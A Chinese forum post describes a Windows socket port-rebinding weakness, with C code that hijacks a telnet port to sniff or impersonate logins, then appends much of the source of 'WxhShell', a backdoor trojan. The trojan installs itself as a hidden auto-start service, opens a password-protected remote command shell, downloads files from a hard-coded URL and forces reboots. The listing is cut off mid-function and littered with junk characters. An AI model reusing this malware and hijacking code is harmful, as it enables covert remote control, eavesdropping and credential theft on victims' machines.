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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q,sO<1wAT\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dU-:#QV6  
mCnl@  
  saddr.sin_family = AF_INET; .B^ tEBGVD  
(1=@.srAzK  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |Gq3pL<jkC  
_oZ3n2v}@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !IJ YaQ6z  
r`ftflNh(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n 'ZPB  
P=}l.R*1G  
  这意味着什么?意味着可以进行如下的攻击: [p4([ef '  
rv{Wti[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s {*rBX8N  
-n@,r%`UK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t,Tq3zB  
=>S[Dh  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v1$}[&/  
 \&d1bq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lGet)/w;c  
ZW))Mx#K=T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E7$ aT^  
LI-ewea  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tG]W!\C'h  
k Jz^\Re  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,M]W_\N~E  
~p+ `pwjY1  
  #include [ !~8TF  
  #include .&u @-Vm  
  #include ^Cp;#|g,  
  #include    <DqFfrpc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zq5N@d F  
  int main() &xr(Kb  
  { &#C|  
  WORD wVersionRequested; cm!vuoB~~  
  DWORD ret; iJZvVs',  
  WSADATA wsaData; :"Vmy.xq  
  BOOL val; di;~$rI!?  
  SOCKADDR_IN saddr; B|syb!g  
  SOCKADDR_IN scaddr; %M_F/O  
  int err; kJ* N`=  
  SOCKET s; An]Vx<PD  
  SOCKET sc; -Nr*na^H9#  
  int caddsize; h1'm[Y  
  HANDLE mt; )1R[~]y  
  DWORD tid;   MHE/#G  
  wVersionRequested = MAKEWORD( 2, 2 ); <&+0  
  err = WSAStartup( wVersionRequested, &wsaData ); (;Bh7Ft  
  if ( err != 0 ) { 6=%\@  
  printf("error!WSAStartup failed!\n"); 2U R1T~r  
  return -1;  v?d`fd  
  } 9QD+  
  saddr.sin_family = AF_INET; 4[Ko|  
   G_WFg$7G%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fG?a"6~  
]'<}kJtN.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t%y i3  
  saddr.sin_port = htons(23); 7#HSe#0J  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uv$utu>< *  
  { %f\j)qw  
  printf("error!socket failed!\n"); $5#DU__F/  
  return -1; OZKZv,  
  } C,O9?t  
  val = TRUE; 1Uah IePf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6XAofN/5f  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !;t6\Z8&  
  { X&Ospl@H  
  printf("error!setsockopt failed!\n"); 6EY 0Fjsi  
  return -1; nBd(p Oe  
  } 'K23oQwDB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )eX{a/Be  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xxgdp. (  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N5MWMN[6aP  
2 9z@ !  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XB[EJGaX  
  { -Zg.o$  
  ret=GetLastError(); Ix@nRc'  
  printf("error!bind failed!\n"); DEPsud;  
  return -1; oB<!U%BN  
  } i:&$I=  
  listen(s,2); *I9O63  
  while(1) Yru,YA   
  { nGDY::nUE  
  caddsize = sizeof(scaddr); 1O2V!?P  
  //接受连接请求  ;t/KF"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Lq#!}QcW=  
  if(sc!=INVALID_SOCKET) LCSJIt  
  { y?iW^>|?L=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a0k/R<4  
  if(mt==NULL) q:wz!~(>  
  { (AG((eV  
  printf("Thread Creat Failed!\n"); &jrc]  
  break; 7a4Z~r27/  
  } 8qUNh#  
  } t#!AfTY$w  
  CloseHandle(mt); .| :R#VW  
  } 4`sW_ ks  
  closesocket(s); bz`rSp8h  
  WSACleanup(); H=XdgOui  
  return 0; eV9,G8  
  }   0,cU^HMA  
  DWORD WINAPI ClientThread(LPVOID lpParam) B}I9+/|{  
  { E]pD p /D  
  SOCKET ss = (SOCKET)lpParam; ,W$&OD  
  SOCKET sc; =+4om*  
  unsigned char buf[4096]; k5X-*^U=V}  
  SOCKADDR_IN saddr; F\<{:wu   
  long num; , 9buI='  
  DWORD val; A*kN I  
  DWORD ret; ,H/BW`rL]#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N.V5>2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $%1oZ{&M  
  saddr.sin_family = AF_INET; T'5MO\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YCG $GD  
  saddr.sin_port = htons(23); 7#P Q1UWl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (ul_bA+  
  { 4=njM`8Y'  
  printf("error!socket failed!\n"); +[V.yY/t|>  
  return -1; 2FM}" g<8  
  } qjN*oM,  
  val = 100; cOdgBi  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X|Nb8 1M  
  { Hr(%y&0  
  ret = GetLastError(); Upc_"mkI.  
  return -1; &8JK^zQq  
  } : TP\pH7E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DLoH.Fd  
  { dlDO?T  
  ret = GetLastError(); LKM;T-  
  return -1; L}t P_ *  
  } }n k [WW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) we33GMxHl`  
  { M ~6 $kT  
  printf("error!socket connect failed!\n"); 5C5OLAl v  
  closesocket(sc); nR,QqIFFw  
  closesocket(ss); O]?PC^GGY  
  return -1; CH0Nkf  
  } H6M G5f_  
  while(1) p|w0 i[hc  
  { I(qFIV+H R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -T>i5'2)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ey`E E/WV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /Uni6O)oc  
  num = recv(ss,buf,4096,0); 4V'HPD>=V  
  if(num>0) O-n JuZJgX  
  send(sc,buf,num,0); =F46v{la  
  else if(num==0) ,-SWrp`f  
  break; \$xj>b;  
  num = recv(sc,buf,4096,0); lPg?Fk7AP  
  if(num>0) ~ L"?C  
  send(ss,buf,num,0);  =tc!"{  
  else if(num==0) )< p ~  
  break;  ^]?ju L  
  } 2k^'}7G%  
  closesocket(ss); e_IRF+>  
  closesocket(sc); pzeCdHF  
  return 0 ; g Cx#&aXS  
  } R#W=*cN  
IJDE{)  
f8)fm2^09  
========================================================== L fZF  
M[QQi2:&  
下边附上一个代码,,WXhSHELL {=ATRwUL  
(P-$tHt  
========================================================== 0CK3jdZ+X  
k\-h-0[|  
#include "stdafx.h" HmbQL2  
kG`&Z9P  
#include <stdio.h> L.:8qY  
#include <string.h> !1/F71l DX  
#include <windows.h> ]l, ,en5V  
#include <winsock2.h> ^p3W}D  
#include <winsvc.h> VPb8dv(a3  
#include <urlmon.h> $4BvDZDk`B  
I5ZM U  
#pragma comment (lib, "Ws2_32.lib") 9^@)R ED  
#pragma comment (lib, "urlmon.lib") \85~~v@  
664D5f#EJ  
#define MAX_USER   100 // 最大客户端连接数 / |isRh|  
#define BUF_SOCK   200 // sock buffer \J(kM,ZJ  
#define KEY_BUFF   255 // 输入 buffer 9T0g%&  
`yO'-(@"gY  
#define REBOOT     0   // 重启  BO.Db``  
#define SHUTDOWN   1   // 关机 q`UaJ_7  
0e1-ZP CDj  
#define DEF_PORT   5000 // 监听端口 N! I$Qtr,  
;RYIc0%  
#define REG_LEN     16   // 注册表键长度 Rx?ze(  
#define SVC_LEN     80   // NT服务名长度 W:K '2j  
m~uT8R#$  
// 从dll定义API [pInF Qh6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w/*m_O\!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =nqHVRA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ',/2J0_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gU1Pb]]  
gFsqCx<q  
// wxhshell配置信息 qw{`?1[+  
struct WSCFG { ]J@-,FFC  
  int ws_port;         // 监听端口 D"%>  
  char ws_passstr[REG_LEN]; // 口令 I5 qrHBJ >  
  int ws_autoins;       // 安装标记, 1=yes 0=no QNH3\<IS  
  char ws_regname[REG_LEN]; // 注册表键名 z"Mk(d@-E  
  char ws_svcname[REG_LEN]; // 服务名 m"QDc[^Ge  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Xt +9z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q!_d6-*u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (>NZYPw^3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4]6-)RHFB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +}PN+:yV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <_#2+7Qs  
T"<)B^8f  
}; pTXF^:8  
gtePo[ZH.P  
// default Wxhshell configuration N1B$z3E *  
struct WSCFG wscfg={DEF_PORT, EX#AJ>?V(  
    "xuhuanlingzhe", ZJ.an%4  
    1, !F.h+&^D;  
    "Wxhshell", zTc*1(^  
    "Wxhshell", Qj*.Z4ue  
            "WxhShell Service", xF@&wg  
    "Wrsky Windows CmdShell Service", jFUpf.v2  
    "Please Input Your Password: ", >H ?k0M`L  
  1, >##Z}auY  
  "http://www.wrsky.com/wxhshell.exe", ,~DV0#"  
  "Wxhshell.exe" ZvMU3])u  
    }; um}q@BU  
6?;z\ AP&  
// 消息定义模块 !?=U{^|7y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @5ud{"|2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ri~$hs!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MX8|;t  
char *msg_ws_ext="\n\rExit."; j[.nk  
char *msg_ws_end="\n\rQuit."; ^\&FowpP  
char *msg_ws_boot="\n\rReboot..."; `G_~zt/  
char *msg_ws_poff="\n\rShutdown..."; :mW< E  
char *msg_ws_down="\n\rSave to "; bzxf*b1I  
1m#.f=u{R  
char *msg_ws_err="\n\rErr!"; P%gA` j  
char *msg_ws_ok="\n\rOK!"; ^'a#FbMtt  
bwH[rT!n  
char ExeFile[MAX_PATH]; ~$J(it-a  
int nUser = 0; p4*L}Q  
HANDLE handles[MAX_USER]; x~vNUyEN)  
int OsIsNt; ],k~t5+  
O9ps?{g  
SERVICE_STATUS       serviceStatus; n:P:im?,y*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N9-7YQ`D  
L!lmy&1  
// 函数声明 3%5a&b  
int Install(void);  ]%FAJ\  
int Uninstall(void); a4*976~![  
int DownloadFile(char *sURL, SOCKET wsh); f:ObI  
int Boot(int flag); /s} "0/Y\  
void HideProc(void); {(!JYz~P  
int GetOsVer(void); 1P*hC<  
int Wxhshell(SOCKET wsl); brs`R#e \  
void TalkWithClient(void *cs); XUA@f*  
int CmdShell(SOCKET sock); }cr'o"4  
int StartFromService(void); *LU/3H|}  
int StartWxhshell(LPSTR lpCmdLine); 9$HBKcO  
Dws) 4hH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !Yv_V]u=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {;u,04OVK  
PPr Pj^%z=  
// 数据结构和表定义 M{{kO@P"9  
SERVICE_TABLE_ENTRY DispatchTable[] = Z )M "`2Ur  
{ kuD$]A Q`&  
{wscfg.ws_svcname, NTServiceMain}, ,1#? 0q  
{NULL, NULL} LwK]fFtu  
}; @,TIw[p  
jD6HCIjd'  
// 自我安装 ]i$y;]f  
int Install(void) h_[{-WC  
{ }!oEjcX'  
  char svExeFile[MAX_PATH]; .i I{  
  HKEY key; rB$~,q&.V  
  strcpy(svExeFile,ExeFile); q.`< q  
CqlxE/|  
// 如果是win9x系统,修改注册表设为自启动 uC^)#Y\"  
if(!OsIsNt) { 8O9^g4?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5@m ,*n&[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lo{wTYt:J  
  RegCloseKey(key); HS/.H,X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .Y;f 9R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _ZK^J S  
  RegCloseKey(key); N*}soMPV^.  
  return 0; JM|HnyI  
    } jJ$B^Y"4  
  } !SW0iq[7j  
} QQ.?A(U7  
else { \+%~7Bi]z  
J W@6m  
// 如果是NT以上系统,安装为系统服务 Wvf>5g)?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gZ$ 8Y7  
if (schSCManager!=0) ~3?-l/$  
{ 5 ix*wu`,  
  SC_HANDLE schService = CreateService !q\=e@j-i  
  ( S F*C'  
  schSCManager, p{^:b6  
  wscfg.ws_svcname, 4k<o  
  wscfg.ws_svcdisp, @)6b  
  SERVICE_ALL_ACCESS, Lc{arhN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RTcxZ/\" #  
  SERVICE_AUTO_START, 7qB4_  
  SERVICE_ERROR_NORMAL, (4cdkL  
  svExeFile, .Rk8qRB  
  NULL, .cHgYHa  
  NULL, k i<X^^  
  NULL, 9f( X7kt  
  NULL, uI7n{4W*x  
  NULL z_ $c_J  
  ); Wn(!6yid  
  if (schService!=0) E{u6<B*  
  { "kyCY9) %  
  CloseServiceHandle(schService); PlzM`g$A  
  CloseServiceHandle(schSCManager); GpeW<% \P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o{sv<$  
  strcat(svExeFile,wscfg.ws_svcname); 51q|-d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <#C,66k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `s CwgY+  
  RegCloseKey(key); Q%JI-&K  
  return 0; CLrX!JV>  
    } ?IVJ#6[  
  } U"k$qZ[  
  CloseServiceHandle(schSCManager); (4+P7Z,Nc  
} E{|B&6$[}  
} H`CID*Ji  
lI=<lmM0|/  
return 1; (SBhU:^h  
} 90<g=B  
&>-j4,M  
// 自我卸载 )@N d3Z  
int Uninstall(void) Food<(!.>  
{ 6eV#x%z@v'  
  HKEY key; 2 |je{  
AEyvljv  
if(!OsIsNt) { vV}w>Ap[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @L3XBV2  
  RegDeleteValue(key,wscfg.ws_regname);  z% wh|q  
  RegCloseKey(key); !RI _Uph  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |3'  
  RegDeleteValue(key,wscfg.ws_regname); 7Z< ~{eD,  
  RegCloseKey(key); FDz`U:8  
  return 0; G\@pg;0|y  
  } ljKIxSvCFp  
} m-Eh0Zl>Z  
} dz_S6o ]  
else { K;R H,o1  
l[/`kK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dkC[SG`  
if (schSCManager!=0) cV+?j}"*+  
{ L^sjV/\oW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YMX9Z||  
  if (schService!=0) w 9dkJo  
  { .e~"+Pe6b  
  if(DeleteService(schService)!=0) { `L'g<VK;  
  CloseServiceHandle(schService); VzP az\e  
  CloseServiceHandle(schSCManager); h aAY=:  
  return 0; \vA*dQ-  
  } %_OjmXOfe  
  CloseServiceHandle(schService); '$9o(m#  
  } C-&ymJC|  
  CloseServiceHandle(schSCManager); %fj5 ;}E.  
} @Vm*b@  
} uZ+bo&  
bKQho31a'  
return 1; \ 2\{c1df  
} U2 *ORd  
b,xZY1a  
// 从指定url下载文件 y\?ey'o  
int DownloadFile(char *sURL, SOCKET wsh) r_T)| ||v  
{ R/vHq36d  
  HRESULT hr; RzEzNV  
char seps[]= "/"; b#VtPn]  
char *token; 3!CUJs/W  
char *file; I1Q!3P  
char myURL[MAX_PATH]; GcBqe=/B!  
char myFILE[MAX_PATH]; <tr]bCu}  
7r:h_r-  
strcpy(myURL,sURL); 8u[_t.y4m  
  token=strtok(myURL,seps); SMN.AJ J  
  while(token!=NULL) "aJHCi~l  
  { $V~@w.-Z#  
    file=token; V b0T)C  
  token=strtok(NULL,seps); #D`@G8~(  
  } XqTguO'  
#HUn~r  
GetCurrentDirectory(MAX_PATH,myFILE); s0SzO,Vi  
strcat(myFILE, "\\"); P?0X az  
strcat(myFILE, file); 4EB\R"rWXf  
  send(wsh,myFILE,strlen(myFILE),0); t-\+t<;  
send(wsh,"...",3,0); \[MAa:/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S6~y!J6Ok4  
  if(hr==S_OK) %8'8XDq^8  
return 0; Rlq7.2cP  
else |L2>|4  
return 1; SQodk:1)  
1Viz`y)^  
} -,J<X\  
{2\Y%Y'}*  
// 系统电源模块 R<|\Z@z  
int Boot(int flag) ].d2CJ'  
{ @^,q/%;  
  HANDLE hToken; 78& |^sq  
  TOKEN_PRIVILEGES tkp; "5hk%T '  
U&^q#['  
  if(OsIsNt) { )jM%bUk,!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !]4u"e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n Bu!2c  
    tkp.PrivilegeCount = 1; r.C6` a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ({uW-%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,.,8-In^  
if(flag==REBOOT) { 59E9K)c3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .;? Bni  
  return 0; {U5sRM|I  
} pBsb>wvej  
else { dY1t3@E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "zEl2Xn28_  
  return 0; 4 Gu'WbJ  
} G%W9?4_K  
  } RY-iFydPc  
  else { R5HT EB  
if(flag==REBOOT) { WgNA%.|,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QPlU+5Cx  
  return 0; i<QDV W9  
} "[) G{VzT  
else { egoR])2>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "{0G,tdA  
  return 0; Ot=>~(u0  
} .3 EZk86  
} ;n&95t1$  
8_Oeui(i  
return 1; vq$6e*A  
} T;w:^XW  
[,=?e  
// win9x进程隐藏模块 }M07-qIX{  
void HideProc(void) d4Uw+3ikW  
{ OSu&vFKz  
>M<3!?fW)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @6 he!wW  
  if ( hKernel != NULL ) DB vM.'b$  
  { Q):#6|u+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +=tdgw/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Wf~^,]9N  
    FreeLibrary(hKernel); w-|Rb~XT h  
  } @|gG3  
UHl3/m7g  
return; !0{SVsc)  
} ]kj^T?&n.  
{*xE+ |  
// 获取操作系统版本 4^7 v@3  
int GetOsVer(void) o}N@Q-i gq  
{ 4n,&,R r#  
  OSVERSIONINFO winfo; K?.~}82c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &PMQ]B  
  GetVersionEx(&winfo); [gW eD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :jiEn y  
  return 1; Fis!MMh.$  
  else n Kkpp-  
  return 0; ~Ntk -p  
} *>m[ZJd%=  
DB}Uzw|  
// 客户端句柄模块 6-U_TV  
int Wxhshell(SOCKET wsl)  9q;O`&  
{ !BQt+4G7  
  SOCKET wsh; $QJ3~mG2  
  struct sockaddr_in client; *i"9D:  
  DWORD myID; TmgC {_  
r)<A YX]J  
  while(nUser<MAX_USER) OUv)`K  
{ P\"kr?jZP  
  int nSize=sizeof(client); ]\yIHdcDi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Tm %5:/<8  
  if(wsh==INVALID_SOCKET) return 1; -`]9o3E7H  
kowS| c#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U9 iI2$  
if(handles[nUser]==0) H,> }t S  
  closesocket(wsh); d) -(C1f  
else jcCAXk055  
  nUser++; b4L7M1l  
  } 196aYLE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u]ms~rO  
M5bE5C  
  return 0; d9{lj(2P  
} r-qe7K@p  
_zj^k$ j  
// 关闭 socket ((M,6Q}  
void CloseIt(SOCKET wsh) b(K"CL\p  
{ /k.0gYD  
closesocket(wsh); E '6>3n  
nUser--; "L>'X22ed  
ExitThread(0); N{Sp-J>  
} @IG's-  
!)a_@d.;i  
// 客户端请求句柄 TQR5V\{&%  
void TalkWithClient(void *cs) CJ<nUIy'z  
{  y|LHnNQ  
/^=1]+_!  
  SOCKET wsh=(SOCKET)cs; :Xw|v2z%3  
  char pwd[SVC_LEN]; -2.7Z`*(  
  char cmd[KEY_BUFF]; jKUEs75]  
char chr[1]; =~:IiK/#  
int i,j; a`wjZ"}'[  
3kxo1eb  
  while (nUser < MAX_USER) { Sca"LaW1  
7Kw'Y8  
if(wscfg.ws_passstr) { 4[lFur H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !2t7s96  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CCTU-Xz/  
  //ZeroMemory(pwd,KEY_BUFF); +\=g&G,  
      i=0; (]@S<0  
  while(i<SVC_LEN) { V60L\?a  
Q[OwP  
  // 设置超时 .`D'eS6b  
  fd_set FdRead; ItVN,sVJb  
  struct timeval TimeOut; mSYjc)z  
  FD_ZERO(&FdRead); M`Y^hDl6  
  FD_SET(wsh,&FdRead); Nj9A-*0g6N  
  TimeOut.tv_sec=8; FC0fe_U(F  
  TimeOut.tv_usec=0; eo+<@83  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f-~Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jE0oLEg&  
^Iw$ (  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j\C6k  
  pwd=chr[0]; $>)0t@[f  
  if(chr[0]==0xd || chr[0]==0xa) { 7. F'1oEf  
  pwd=0; %a/3*vz/I%  
  break; /A9RmTb  
  } 5>}$]d/o  
  i++; <8WFaP3,  
    } (3n "a'  
snaAn?I4  
  // 如果是非法用户,关闭 socket "0eX/ rY%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D!`;vZ\>  
} ,X!6|l8  
Q}#Je.;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |=;hQ2HyF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PVb[E03  
0F[ f%2j  
while(1) { # xtH6\X  
xmg3,bO  
  ZeroMemory(cmd,KEY_BUFF); eiK_JPFA-  
*PF<J/Pr  
      // 自动支持客户端 telnet标准   .n<vhLDQn  
  j=0; UF"%FF  
  while(j<KEY_BUFF) { vF^d40gV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s#?ZwD,=  
  cmd[j]=chr[0]; x2!R&q8U>  
  if(chr[0]==0xa || chr[0]==0xd) { UhH#> 2r_  
  cmd[j]=0; HA'~1$#z  
  break; &y!?R$?b  
  } --$* q"  
  j++; ;UQza ]i  
    } `Gio 2gl9  
H<d~AurX)J  
  // 下载文件 7d;|?R-8D  
  if(strstr(cmd,"http://")) { HzTmNm)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,AnD%#o  
  if(DownloadFile(cmd,wsh)) zYzV!s2^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wm~7`&  
  else ceUe*}\cr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B=0^Rysg  
  }  9q"kM  
  else { 4l 67B]o  
x9YQd69  
    switch(cmd[0]) { $toTMah w  
  qFmw9\Fn  
  // 帮助 )] @h}K}  
  case '?': { Im;%.J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;e?M;-  
    break; ?[JP[ qS  
  } J*;RL`  
  // 安装 8?Zhh.  
  case 'i': { ]PS`"o,pF$  
    if(Install()) 9@|52dz%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5%jhVys23  
    else <Y yE1 |  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (%6fMVp  
    break; %7ngAIg  
    } hTDK[4e  
  // 卸载 Qu|CXUk  
  case 'r': { =F+v+zP7P  
    if(Uninstall()) /h>g-zb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z:\9t[e4  
    else p@jw)xI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i.mv`u Dm  
    break; re*}a)iL  
    } =Dn <DV  
  // 显示 wxhshell 所在路径 !Se0&Ob  
  case 'p': { %#2$B+  
    char svExeFile[MAX_PATH]; 03~ ADj  
    strcpy(svExeFile,"\n\r"); D0Q9A]bD;  
      strcat(svExeFile,ExeFile); JLu$1A@ '  
        send(wsh,svExeFile,strlen(svExeFile),0); rqjq}L)  
    break; g<Z :`00|  
    } R /=rNUe  
  // 重启 Ll]5u~  
  case 'b': { CXq[VYM&X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4\n ~  
    if(Boot(REBOOT)) >ai,6!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *L^W[o  
    else { L$5,RUy  
    closesocket(wsh); 6q^$}eOt  
    ExitThread(0); A|ZT ;\  
    } JX&U?Z  
    break; 3L&:  
    } 3m>YR-n$  
  // 关机 7${<u0((!  
  case 'd': { # 55>?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i(.e=  
